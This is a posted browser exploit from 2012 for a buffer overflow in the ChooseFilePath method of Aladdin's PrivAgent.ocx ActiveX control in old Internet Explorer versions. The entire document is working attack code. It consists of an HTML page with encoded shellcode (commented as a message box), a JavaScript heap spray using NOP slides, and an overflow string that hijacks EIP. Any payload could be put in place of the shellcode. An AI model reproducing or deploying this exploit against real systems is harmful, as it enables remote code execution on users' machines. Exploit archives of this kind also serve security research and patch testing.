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Aladdin Knowledge System Ltd Buffer Overflow

Posted on 28 October 2012

<!---------------------------------------------------------------------------
| Exploit: Aladdin Knowledge System Ltd - PrivAgent.ocx ChooseFilePath BOF |
| Author: b33f - http://www.fuzzysecurity.com/ |
| OS: Tested on XP PRO SP3 |
| Browser: IE 4.01, IE 5.01, IE 6.00, IE 7.00 |
| POC - shinnai: http://www.exploit-db.com/exploits/22258/ |
---------------------------------------------------------------------------->

<html>
 <head>
 <object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
 </head>
 <body>
 <script>

 //Messagebox (js_le)
 var MessageBox = unescape(
 '%ue9be%uac66%udb2b%ud9c2%u2474%u58f4%uc931%u3fb1%uc083%u3104%u1070%u7003%u0b10'+
 '%u7593%u50c0%uf285%u9233%u2907%u2d89%u0459%u5a8a%ua6e8%u2ad8%u4c07%ucea8%u149c'+
 '%u655d%ub8dc%u4fd6%uf619%udaf0%u51aa%uf500%u83b2%u7e62%u6020%u0b47%u54fc%u5f0c'+
 '%udcd7%ub513%u57ac%uc20c%u47e9%u3f2d%ubcee%u3464%u37c5%ua477%ub717%uf849%ueba4'+
 '%u382e%uf320%u77ef%ufac4%u6c28%uc723%u56ca%u4de4%u1dd2%u89ae%uca15%u5929%u4719'+
 '%u073d%u563e%u33aa%ud33a%uac2d%ua7ca%u3009%ue4ac%u40e0%u3e07%ub48d%u7cde%ub8e6'+
 '%u8eaf%u961b%u11c7%ue81c%ua4e7%u13a6%uc8a3%ufef0%ub3a0%udb1d%u5314%udc93%u5c66'+
 '%u6725%uca91%u045a%u4b81%ue7cb%u65f3%u606f%u0a81%u020a%ub0e1%ue8f0%uae78%u13af'+
 '%u2a2f%u2ed9%u8980%u0c71%u516c%u4d06%ufb4b%u0fe1%u046c%ua70e%udaca%u18d1%u7883'+
 '%u6a21%u4d35%u049e%u89e5%u9c24%ub9f5%uc605%u19d9%ua62e%u174e%u77ea%u2fb8%u53be'+
 '%ua63f%uadde%ueaed%u9f73%uf543%u2ea4%u59a4%u04ba%u412c');

 //Spray spray spray
 var NopSlide = unescape('%u9090%u9090');
 var headersize = 20;
 var slack = headersize + MessageBox.length;
 while (NopSlide.length < slack) NopSlide += NopSlide;
 var filler = NopSlide.substring(0,slack);
 var chunk = NopSlide.substring(0,NopSlide.length - slack);
 while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
 var memory = new Array();
 for (i = 0; i < 500; i++){ memory[i] = chunk + MessageBox }

 //EIP => 0x06060606
 junk='';
 for( counter=0; counter<=268; counter++) junk+=unescape("%41");
 pwnd.ChooseFilePath(junk + "x06x06x06x06");

 </script>
</body>
</html>

 

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